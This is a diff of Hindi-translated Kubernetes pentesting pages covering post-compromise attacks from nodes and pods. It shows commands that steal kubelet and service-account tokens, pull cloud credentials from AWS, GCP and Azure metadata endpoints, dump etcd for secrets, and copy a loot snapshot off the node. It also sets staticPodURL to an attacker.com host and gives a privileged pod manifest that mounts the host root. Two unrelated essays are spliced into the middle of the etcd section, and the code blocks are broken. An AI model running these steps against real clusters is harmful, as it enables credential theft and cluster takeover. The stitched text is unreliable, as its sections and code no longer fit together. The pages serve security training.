सामान्य तौर पर पूरा **OS** - **Kube-Proxy** service listening -- **Kubelet** service listening. config files देखें: +- **Kubelet** service listening. config files check करें: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -171,14 +171,20 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** +### Image Pull and Registry Credentials + +Node access के बाद, यह भी review करें कि node private images कैसे pull करता है। Useful evidence में runtime image metadata (`crictl images`), Pod या ServiceAccount `imagePullSecrets`, containerd registry configuration जैसे `/etc/containerd/config.toml` और `/etc/containerd/certs.d`, और kubelet image credential provider flags जैसे `--image-credential-provider-config` और `--image-credential-provider-bin-dir` शामिल हैं। + +यह मानकर न चलें कि cached private image का मतलब reusable registry credentials है। यह सिर्फ यह साबित कर सकता है कि image इस node पर मौजूद है। हालांकि, static runtime registry credentials, Docker config JSON pull secrets, या ऐसा credential provider जो short-lived pull credentials mint कर सकता है, private registry access expose कर सकते हैं। Kubernetes के recent versions service-account-token based kubelet credential providers भी image pulls के लिए support करते हैं, इसलिए impact report करने से पहले check करें कि provider Pod-bound service account tokens use कर रहा है या नहीं और वह कौन सा audience request करता है। + ### Find node kubeconfig -अगर आपको पहले बताए गए paths में से किसी में kubeconfig file नहीं मिलती, तो **kubelet process के `--kubeconfig` argument** को check करें: +अगर आपको kubeconfig file पहले बताए गए paths में से किसी में नहीं मिलती, तो **kubelet process के argument `--kubeconfig` को check करें**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### सीक्रेट्स चुराएं +### Secrets चुराना ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -199,20 +205,20 @@ echo "" fi done ``` -स्क्रिप्ट [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) अपने आप **दूसरे pods के tokens लेगी और जांचेगी कि क्या उनके पास वह permission है** जिसे आप ढूंढ रहे हैं (1-1 करके देखने के बजाय): +The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **अन्य pods के tokens प्राप्त करेगा और जाँच करेगा कि क्या उनके पास वह permission है** you are looking for (instead of you looking 1 by 1): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets -एक DaemonSet एक **pod** है जिसे **cluster के सभी nodes** पर **run** किया जाएगा। इसलिए, अगर DaemonSet को एक **privileged service account,** के साथ configured किया गया है, तो **ALL the nodes** में आप उस **privileged service account** का **token** पा सकेंगे, जिसका आप abuse कर सकते हैं। +एक DaemonSet एक **pod** है जिसे क्लस्टर के **सभी nodes** पर **run** किया जाएगा। इसलिए, अगर किसी DaemonSet को **privileged service account** के साथ configure किया गया है, तो **सभी nodes** पर आपको उस **privileged service account** का **token** मिलेगा, जिसका आप abuse कर सकते हैं। -Exploit पिछले section जैसा ही है, लेकिन अब आप luck पर depend नहीं करते। +यह exploit पिछले section जैसा ही है, लेकिन अब आप luck पर depend नहीं करते। ### Pivot to Cloud -अगर cluster को cloud service manage करती है, तो आमतौर पर **Node** की **metadata** endpoint तक **Pod** से अलग access होगा। इसलिए, **node से metadata endpoint तक access** करने की कोशिश करें (या hostNetwork को True रखने वाले pod से): +अगर cluster किसी cloud service द्वारा managed है, तो आमतौर पर **Node** की **metadata** endpoint तक पहुंच **Pod** से अलग होगी। इसलिए, **node** से metadata endpoint को **access** करने की कोशिश करें (या ऐसे pod से जिसमें hostNetwork True हो): {{#ref}} kubernetes-pivoting-to-clouds.md @@ -220,163 +226,290 @@ kubernetes-pivoting-to-clouds.md ### Steal etcd -अगर आप उस Node का [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) specify कर सकते हैं जो container को run करेगा, तो एक control-plane node के अंदर shell प्राप्त करें और **etcd database** हासिल करें: +अगर आप उस Node के [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) को specify कर सकते हैं जो container को run करेगा, तो एक control-plane node के अंदर shell लें और **etcd database** प्राप्त करें: ``` kubectl get nodes NAME STATUS ROLES AGE VERSION k8s-control-plane Ready master 93d v1.19.1 k8s-worker Ready 93d v1.19.1 ``` -control-plane nodes का **role master** होता है और **cloud managed clusters में आप उन पर कुछ भी run नहीं कर पाएंगे**. +control-plane nodes का **role master** होता है और **cloud managed clusters में आप उनमें कुछ भी run नहीं कर पाएंगे**. #### `etcd` 1 से secrets पढ़ें अगर आप अपने pod को pod spec में `nodeName` selector का उपयोग करके किसी control-plane node पर run कर सकते हैं, तो आपको `etcd` database तक आसान access मिल सकता है, जिसमें cluster की सारी configuration होती है, including all secrets. -नीचे `etcd` से secrets grab करने का एक quick and dirty तरीका दिया गया है, अगर यह आप जिस control-plane node पर हैं उस पर running है। अगर आप एक ज्यादा elegant solution चाहते हैं जो `etcdctl` client utility के साथ एक pod spin up करता है और जहाँ भी `etcd` चल रहा हो, वहाँ connect करने के लिए control-plane node के credentials का उपयोग करता है, तो @mauilion का [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) देखें। +नीचे `etcd` से secrets grab करने का एक quick and dirty तरीका है, अगर यह आपके control-plane node पर चल रहा है। अगर आप एक more elegant solution चाहते हैं जो `etcdctl` client utility के साथ एक pod spin up करता है और जहाँ भी `etcd` चल रहा हो वहाँ connect करने के लिए control-plane node की credentials का उपयोग करता है, तो @mauilion का [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) देखें। **देखें कि `etcd` control-plane node पर चल रहा है या नहीं और database कहाँ है (यह `kubeadm` द्वारा बनाए गए cluster पर है)** ``` root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir ``` -डिफ़ॉल्ट रूप से, यदि आप `kubectl exec` के माध्यम से किसी कंटेनर में `root` के रूप में प्रवेश कर सकते हैं, तो आप कंटेनर के अंदर से host तक पहुँचने के कई तरीके आज़मा सकते हैं। हालांकि, यह हमेशा काम नहीं करता, क्योंकि सीमाएँ हो सकती हैं जैसे `seccomp` profiles, `AppArmor`, `SELinux`, `capabilities`, और container runtime की security settings। +# Pod के अंदर से Kubernetes को attack करना -## संभावित हमले के रास्ते +Kubernetes code execution के लिए एक बहुत अच्छा attack surface है क्योंकि आप cluster के अंदर एक pod से कई और internal API endpoints तक पहुंच सकते हैं जो बाहर से exposed नहीं होते, और आप cloud provider की metadata service से credentials भी read कर सकते हैं, जिससे cluster पर privilege escalation, leak of credentials, और cloud resources तक lateral movement संभव हो जाता है. -- **Mounted host filesystem**: यदि host filesystem container में mount है, तो आप host के files पढ़/modify कर सकते हैं। -- **Privileged container**: यदि container `privileged` है, तो host resources तक पहुँच आसान हो जाती है। -- **Capabilities abuse**: कुछ Linux `capabilities` host compromise के लिए उपयोग की जा सकती हैं। -- **`hostPID`, `hostNetwork`, `hostIPC`**: ये settings host namespaces तक बढ़ी हुई visibility देती हैं। -- **Container runtime socket**: यदि `docker.sock`, `containerd.sock`, या `cri-o` socket exposed है, तो आप नए containers चला सकते हैं या host पर code execution की दिशा में बढ़ सकते हैं। +## Kubernetes API server -## Docker socket +Kubernetes API server पर pivot करना बहुत आम है, क्योंकि यह cluster का मुख्य control plane endpoint है. -यदि `docker.sock` mount है, तो इसका मतलब अक्सर है कि आप host पर root-equivalent access पा सकते हैं। उदाहरण: +अगर आप किसी pod के अंदर arbitrary code execute कर सकते हैं, तो सबसे पहले check करें कि क्या उस pod के service account के पास Kubernetes API से बात करने के लिए कोई token है. आमतौर पर यह token `/var/run/secrets/kubernetes.io/serviceaccount/token` में मिलता है. इसके साथ आप API server से authenticated requests भेज सकते हैं. + +उदाहरण: ```bash -ls -l /var/run/docker.sock -docker -H unix:///var/run/docker.sock ps -docker -H unix:///var/run/docker.sock run -it --rm --privileged --pid=host --net=host --ipc=host alpine sh +TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) +curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api ``` -## Mounted volumes +अगर request सफल होती है, तो आप cluster की जानकारी enumerate कर सकते हैं, जैसे: -यदि किसी pod में hostPath volume mount है, तो आप host filesystem browse कर सकते हैं। उदाहरण: +- namespaces +- pods +- services +- deployments +- secrets ```bash -mount -ls -la /mnt -cat /mnt/etc/passwd +curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces ``` -## Escalation विचार +अगर service account पर ज्यादा permissions हैं, तो यह एक बहुत powerful foothold बन सकता है. कई बार attackers secrets read कर सकते हैं, जिससे दूसरे workloads, databases, और cloud services तक पहुंच मिलती है. -- `/proc` का उपयोग करके host processes inspect करना -- writable `hostPath` volumes की खोज -- mounted service account tokens का उपयोग करके Kubernetes API access करना -- misconfigured `RBAC` से आगे बढ़ना +## Service account permissions -## Defensive notes +यह हमेशा देखें कि service account पर कौन-सी permissions granted हैं. आप यह API से या mounted token के साथ `kubectl`-like requests करके verify कर सकते हैं. -इस तरह की पहुँच को रोकने के लिए: +अगर `secrets` पढ़ने की permission है, तो आप cluster में stored credentials निकाल सकते हैं: -- `privileged` pods से बचें -- `hostPath` volumes को सीमित करें -- `Pod Security` standards लागू करें -- `RBAC` को least privilege पर रखें -- exposed runtime sockets को हटाएँ -- `seccomp`, `AppArmor`, और `SELinux` सक्षम करें +```bash +curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/secrets +``` + +कुछ clusters में overly permissive roles होते हैं, जैसे `cluster-admin` bindings या ऐसे roles जो create, patch, या exec permissions देते हैं. ऐसे cases में आप workload mutate कर सकते हैं, नए pods deploy कर सकते हैं, या existing containers में execute कर सकते हैं. + +## Cloud metadata services + +Cluster के अंदर से cloud metadata service तक पहुंचना भी बहुत useful होता है, खासकर AWS, GCP, और Azure में. + +### AWS + +AWS में instance metadata service से temporary credentials मिल सकते हैं, खासकर अगर pod किसी node पर चल रहा हो या IRSA misconfigured हो. + +```bash +curl http://169.254.169.254/latest/meta-data/ +``` + +IMDSv2 वाले environments में token लेना पड़ सकता है: + +```bash +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ +``` + +अगर credentials मिलते हैं, तो आप उनके साथ `aws` CLI या API calls करके आगे enumeration कर सकते हैं. + +### GCP + +GCP में metadata server से service account tokens मिल सकते हैं: + +```bash +curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` + +### Azure + +Azure में भी metadata service से access tokens मिल सकते हैं: + +```bash +curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" +``` + +## Lateral movement + +एक pod compromise होने पर आप अक्सर उसी namespace या cluster में दूसरे targets की तरफ move कर सकते हैं. Common paths हैं: + +- Kubernetes secrets +- environment variables +- mounted config files +- cloud credentials +- internal service endpoints + +अगर आप network policies bypass कर सकते हैं या pod को ऐसे node पर चला सकते हैं जहां ज्यादा access हो, तो internal services तक पहुंच बढ़ सकती है. + +## Useful checks + +Pod के अंदर इन चीजों की जांच करें: + +- `/var/run/secrets/kubernetes.io/serviceaccount/token` +- `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt` +- `/var/run/secrets/kubernetes.io/serviceaccount/namespace` +- `KUBERNETES_SERVICE_HOST` +- `KUBERNETES_SERVICE_PORT` +- metadata service reachability +- mounted secrets and configmaps +- environment variables containing credentials + +Example: + +```bash +env | grep -iE "token|key|secret|pass|aws|gcp|azure" +mount | grep -i secret +``` + +## Summary + +अगर आप किसी pod के अंदर code execute कर सकते हैं, तो हमेशा ये check करें: + +1. क्या Kubernetes service account token available है +2. क्या API server reachable है +3. क्या secrets या ज्यादा permissions मिल सकती हैं +4. क्या metadata service accessible है +5. क्या cloud credentials या internal secrets से lateral movement संभव है + +इन checks से आप अक्सर pod compromise को cluster compromise और फिर cloud compromise में बदल सकते हैं. ```bash data-dir=/var/lib/etcd ``` -**etcd database में data view करें:** +**etcd database में data देखें:** ```bash strings /var/lib/etcd/member/snap/db | less ``` -**डेटाबेस से tokens निकालें और service account नाम दिखाएं** +**डेटाबेस से tokens निकालें और service account name दिखाएं** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done ``` -**वही command, लेकिन कुछ greps ताकि केवल kube-system namespace में default token ही return हो** +**वही command, लेकिन कुछ greps ताकि सिर्फ kube-system namespace में default token return हो** ```bash db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default ``` -```markdown -# एक Pod के अंदर से Kubernetes पर attack करना +हमेशा ध्यान रखें कि एक बार जब आप किसी cluster के अंदर किसी pod को compromise कर लेते हैं, तो आप जरूरी नहीं कि सीधे cluster के बाकी हिस्सों तक पहुंच सकें। फिर भी, कई बार आप अपने अधिकार बढ़ा सकते हैं और अंदर से Kubernetes पर हमला कर सकते हैं। -कभी-कभी, यदि आप एक Pod के अंदर हैं, तो आप उस cluster के अंदर मौजूद दूसरे Pods, services या nodes पर भी आसानी से पहुंच सकते हैं। +इस section में हम कुछ सामान्य ways देखेंगे जिनसे एक attacker किसी pod के अंदर से Kubernetes को attack कर सकता है। -### ServiceAccount Token का उपयोग करना +## Service Account Tokens -यदि Pod में एक mounted ServiceAccount token है, तो आप Kubernetes API के खिलाफ authenticate कर सकते हैं और object permissions enumerate कर सकते हैं: +हर pod को एक **Service Account** से जोड़ा जा सकता है। अगर pod को Kubernetes API access करने की जरूरत है, तो वह अपनी Service Account से मिले token का इस्तेमाल करेगा। + +डिफ़ॉल्ट रूप से, Kubernetes pods के अंदर Service Account tokens mount करता है, ताकि applications API के साथ authenticate कर सकें। इससे अंदर चल रही process cluster से बात कर सकती है। + +आप आम तौर पर Service Account token को यहां पा सकते हैं: ```bash -export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) -kubectl --token $TOKEN get pods -kubectl --token $TOKEN get nodes +/var/run/secrets/kubernetes.io/serviceaccount/token ``` -यदि आपके पास पर्याप्त permissions हैं, तो आप secrets, configmaps, deployments और यहां तक कि नए Pods भी create कर सकते हैं। +अगर आपके पास यह token है, तो आप Kubernetes API के against authenticated requests कर सकते हैं। -### Kubernetes API server तक पहुंचना - -Pod के अंदर से, आप अक्सर internal Kubernetes API server को access कर सकते हैं: +उदाहरण के लिए, namespaces की list देखने के लिए: ```bash -kubectl cluster-info +curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ +https://kubernetes.default.svc/api/v1/namespaces ``` -या सीधे API endpoint का उपयोग करें: +अगर Service Account के पास ज्यादा permissions हैं, तो आप बहुत कुछ कर सकते हैं: secrets पढ़ना, workloads list करना, resources create या modify करना, आदि। + +## Mount किए गए Secrets + +कई बार pods में secrets volume के रूप में mount होते हैं। अगर आपको किसी pod में filesystem access मिल जाए, तो आप mounted secrets खोज सकते हैं। + +आम locations: ```bash -curl -k https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT +/var/run/secrets/ ``` -### Secrets पढ़ना +या application-specific paths, जो manifest में define किए गए हों। -यदि आपके पास अनुमति है, तो आप secrets dump कर सकते हैं: +इन files में sensitive data हो सकता है, जैसे: -```bash -kubectl --token $TOKEN get secrets -o yaml +- Service Account tokens +- TLS certificates +- Application credentials +- Cloud credentials + +## Kubernetes API Server तक पहुंच + +अगर pod cluster networking के जरिए Kubernetes API server तक reach कर सकता है, तो आप उससे interact कर सकते हैं। अंदर से API server का access अक्सर निम्न चीजों पर निर्भर करता है: + +- Service Account permissions +- Network policies +- API server exposure + +एक बार access मिल जाने पर, आप discovery, enumeration, और उपलब्ध verbs के आधार पर actions कर सकते हैं। + +## HostPath Mounts + +अगर किसी pod में **HostPath** volume mount है, तो वह host filesystem के parts तक पहुंच दे सकता है। यह बहुत powerful हो सकता है। + +उदाहरण: + +```yaml +volumes: + - name: host-root + hostPath: + path: / ``` -यह credentials, tokens और दूसरे sensitive data leak कर सकता है। +अगर ऐसा mount मौजूद है, तो attacker: -### Privilege escalation +- host filesystem browse कर सकता है +- sensitive files पढ़ सकता है +- host configurations बदल सकता है +- privileges escalate करने की कोशिश कर सकता है -कुछ गलत configured clusters में, एक compromised Pod से आप: +यह Kubernetes environment को compromise करने का एक common रास्ता है। -- host filesystem mount कर सकते हैं -- privileged Pods launch कर सकते हैं -- Kubernetes nodes पर पहुंच सकते हैं -- docker socket या container runtime socket abuse कर सकते हैं +## Privileged Pods -### Lateral movement +A **privileged** pod बहुत ज्यादा permissions के साथ run होता है और अक्सर host-level capabilities तक पहुंच रखता है। अगर attacker privileged pod के अंदर है, तो वह container boundaries को bypass करने की कोशिश कर सकता है। -एक बार अंदर पहुंचने के बाद, आप एक Pod से दूसरे Pod या service पर move कर सकते हैं, खासकर यदि network policies कमजोर हों या मौजूद ही न हों। +ध्यान देने वाली बातें: -### Detection और mitigation +- `privileged: true` +- extra Linux capabilities +- host namespaces तक access +- device mounts -- Pod ServiceAccount permissions को restrict करें -- workloads के लिए least privilege का उपयोग करें -- unnecessary mounts और hostPath volumes disable करें -- Kubernetes audit logging enable करें -- network policies लागू करें -- secrets को environment variables में रखने से बचें +ये settings cluster security को काफी कमजोर कर सकती हैं। -``` +## Container Escape Opportunities + +कुछ गलत configurations attacker को container से बाहर निकलने में मदद कर सकती हैं। उदाहरण के लिए: + +- host mounts +- `privileged` containers +- कमजोर seccomp या AppArmor settings +- writable Docker socket +- exposed kubelet endpoints + +ऐसी misconfigurations होने पर, pod के अंदर से impact सिर्फ pod तक सीमित नहीं रहता। + +## Summary + +किसी pod के अंदर से, attacker आम तौर पर: + +- Service Account token reuse कर सकता है +- mounted secrets ढूंढ सकता है +- Kubernetes API enumerate कर सकता है +- HostPath mounts abuse कर सकता है +- privileged containers की जांच कर सकता है +- container escape paths खोज सकता है + +इन attack paths को समझना Kubernetes defense और pentesting दोनों के लिए जरूरी है। ``` 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED] ``` -#### `etcd` 2 से secrets पढ़ें [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) +#### **`etcd` 2** से secrets पढ़ें [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android) -1. **`etcd`** डेटाबेस का snapshot बनाएं। अधिक जानकारी के लिए [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) देखें। -2. अपनी पसंद के तरीके से node से **`etcd`** snapshot बाहर transfer करें। -3. डेटाबेस unpack करें: +1. **`etcd`** database का snapshot बनाएं। आगे की जानकारी के लिए [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) देखें। +2. अपने पसंदीदा तरीके से **`etcd`** snapshot को node से बाहर transfer करें। +3. database को unpack करें: ```bash mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore ``` -4. अपनी local machine पर **`etcd`** शुरू करें और इसे stolen snapshot का उपयोग करने दें: +4. अपने local machine पर **`etcd`** शुरू करें और उसे stolen snapshot का उपयोग करने दें: ```bash etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db' @@ -391,27 +524,27 @@ etcdctl get /registry/secrets/default/my-secret ``` ### Static/Mirrored Pods Persistence -_Static Pods_ को सीधे kubelet daemon किसी specific node पर manage करता है, बिना API server के उन्हें observe किए। Control plane द्वारा managed Pods के विपरीत (for example, एक Deployment); इसके बजाय, **kubelet हर static Pod को watch करता है** (और अगर वह fail हो जाए तो उसे restart करता है)। +_Static Pods_ को kubelet daemon द्वारा सीधे एक specific node पर manage किया जाता है, बिना API server के उन्हें observe किए। Control plane द्वारा managed Pods (उदाहरण के लिए, Deployment) के विपरीत; इसके बजाय, **kubelet हर static Pod को watch करता है** (और fail होने पर उसे restart करता है)। -इसलिए, static Pods हमेशा किसी specific node पर **एक kubelet से bound** होते हैं। +इसलिए, static Pods हमेशा एक specific node पर **एक Kubelet से bound** होते हैं। -**kubelet automatically हर static Pod के लिए Kubernetes API server पर एक mirror Pod create करने की कोशिश करता है**। इसका मतलब है कि node पर चल रहे Pods API server पर visible होते हैं, लेकिन वहाँ से control नहीं किए जा सकते। Pod names के अंत में node hostname जुड़ा होगा, और उसके पहले एक leading hyphen होगा। +**kubelet हर static Pod के लिए Kubernetes API server पर एक mirror Pod automatically बनाने की कोशिश करता है**। इसका मतलब है कि node पर चल रहे Pods API server पर visible होते हैं, लेकिन वहां से control नहीं किए जा सकते। Pod names के साथ node hostname suffix के रूप में एक leading hyphen जुड़ा होगा। > [!CAUTION] -> static Pod का **`spec` अन्य API objects को refer नहीं कर सकता** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** current node पर cluster compromise करने के लिए। But you could use this to run pods in different namespaces (in case thats useful for some reason). +> एक static Pod का **`spec`** अन्य API objects को refer नहीं कर सकता है (जैसे, ServiceAccount, ConfigMap, Secret, आदि)। इसलिए **आप इस behavior का abuse करके current node पर arbitrary serviceAccount के साथ pod launch नहीं कर सकते** ताकि cluster compromise हो सके। लेकिन आप इसका उपयोग अलग-अलग namespaces में pods चलाने के लिए कर सकते हैं (अगर किसी कारण से यह useful हो)। -अगर आप node host के अंदर हैं, तो आप इसे खुद के अंदर एक **static pod** create करने के लिए make कर सकते हैं। यह काफी useful है क्योंकि इससे आप **kube-system** जैसे किसी different namespace में **pod create** कर सकते हैं। +अगर आप node host के अंदर हैं, तो आप इसे अपने अंदर ही एक **static pod** create करने के लिए कह सकते हैं। यह काफी useful है क्योंकि इससे आपको **किसी अलग namespace** जैसे **kube-system** में **pod create** करने की अनुमति मिल सकती है। -static pod create करने के लिए, [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Basically आपको 2 चीज़ें चाहिए: +Static pod create करने के लिए, [**docs बहुत मददगार हैं**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)। आपको मूल रूप से 2 चीज़ें चाहिए: -- **kubelet service** में, या **kubelet config** में, param **`--pod-manifest-path=/etc/kubernetes/manifests`** configure करें ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) और service restart करें +- **kubelet service** में param **`--pod-manifest-path=/etc/kubernetes/manifests`** configure करें, या **kubelet config** में ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) और service restart करें - **`/etc/kubernetes/manifests`** में **pod definition** पर definition create करें -**Another more stealth way would be to:** +**एक और ज़्यादा stealth तरीका यह होगा कि:** -- **kubelet** config file से param **`staticPodURL`** modify करें और कुछ ऐसा set करें जैसे **`staticPodURL: http://attacker.com:8765/pod.yaml`**। इससे kubelet process **indicated URL** से **configuration** लेकर एक **static pod** create करेगा। +- **kubelet** config file में param **`staticPodURL`** modify करें और कुछ ऐसा set करें जैसे **`staticPodURL: http://attacker.com:8765/pod.yaml`**। इससे kubelet process **indicated URL** से **configuration** लेकर एक **static pod** create करेगा। -**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/): +**यहाँ से लिया गया** **kube-system** में privilege pod create करने के लिए **pod** configuration का **Example**: [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/) ```yaml apiVersion: v1 kind: Pod @@ -437,10 +570,10 @@ hostPath: path: / type: Directory ``` -### Delete pods + unschedulable nodes +### pods को delete करें + unschedulable nodes -यदि किसी attacker ने **एक node compromise** कर लिया है और वह अन्य nodes से **pods delete** कर सकता है और **other nodes को pods execute करने में unable** बना सकता है, तो pods compromised node पर फिर से run होंगे और वह उनमें run हो रहे **tokens steal** कर सकेगा।\ -For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). +यदि कोई attacker **compromised node** को **compromise** कर चुका है और वह अन्य nodes से **pods delete** कर सकता है और **other nodes** को pods execute करने में असमर्थ बना सकता है, तो pods compromised node पर फिर से run होंगे और वह उनमें run होने वाले **tokens** को **steal** कर सकेगा।\ +अधिक जानकारी के लिए [**इस link को follow करें**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes). ## Automatic Tools @@ -506,7 +639,7 @@ Off-Menu + ``` - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI) -## संदर्भ +## सन्दर्भ - [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html) - [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 726518ca5..092060ed3 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Exposing Services in Kubernetes +# Kubernetes में Services को Expose करना {{#include ../../banners/hacktricks-training.md}} -Kubernetes में services को expose करने के **different ways** हैं ताकि **internal** endpoints और **external** endpoints दोनों उन तक access कर सकें। यह Kubernetes configuration काफी critical है क्योंकि administrator **attackers को ऐसे services तक access** दे सकता है जिन्हें उन्हें access नहीं करना चाहिए। +Kubernetes में services को expose करने के **different ways** हैं ताकि **internal** endpoints और **external** endpoints दोनों उन्हें access कर सकें। यह Kubernetes configuration काफी critical है क्योंकि administrator **attackers को ऐसी services तक access** दे सकता है जिन्हें उन्हें access नहीं करना चाहिए। ### Automatic Enumeration -K8s public को services expose करने के लिए जो ways offer करता है, उन्हें enumerate शुरू करने से पहले यह जान लें कि अगर आप namespaces, services और ingresses list कर सकते हैं, तो आप public के लिए exposed सब कुछ इस तरह find कर सकते हैं: +K8s द्वारा services को public के लिए expose करने के तरीकों की enumeration शुरू करने से पहले, जान लें कि अगर आप namespaces, services और ingresses list कर सकते हैं, तो आप public के लिए expose की गई हर चीज़ को इस तरह find कर सकते हैं: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,13 +20,13 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -एक **ClusterIP** service Kubernetes की **default** **service** है। यह आपके cluster के **अंदर एक service** देती है, जिसे आपके cluster के अंदर की दूसरी apps access कर सकती हैं। इसका **कोई external access** नहीं होता। +एक **ClusterIP** service Kubernetes की **default** **service** होती है। यह आपके cluster के **inside** एक **service** देती है जिसे आपके cluster के अंदर मौजूद अन्य apps access कर सकते हैं। **No external access** होता है। हालाँकि, इसे Kubernetes Proxy का उपयोग करके access किया जा सकता है: ```bash kubectl proxy --port=8080 ``` -अब, आप इस scheme का उपयोग करके services तक पहुंचने के लिए Kubernetes API के through navigate कर सकते हैं: +अब, आप इस scheme का उपयोग करके services तक पहुँचने के लिए Kubernetes API में navigate कर सकते हैं: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` @@ -34,7 +34,7 @@ kubectl proxy --port=8080 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -इस service तक पहुंचने के लिए: +इस service तक पहुँचने के लिए: ```yaml apiVersion: v1 kind: Service @@ -50,17 +50,17 @@ port: 80 targetPort: 80 protocol: TCP ``` -_यह method आपको `kubectl` को एक **authenticated user** के रूप में run करने की आवश्यकता होती है।_ +_यह method requires you to run `kubectl` as an **authenticated user**._ -सभी ClusterIPs की सूची: +सभी ClusterIPs सूचीबद्ध करें: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -जब **NodePort** का उपयोग किया जाता है, तो एक निर्धारित पोर्ट सभी Nodes (जो Virtual Machines का प्रतिनिधित्व करते हैं) पर उपलब्ध कराया जाता है। **Traffic** जो इस specific port की ओर 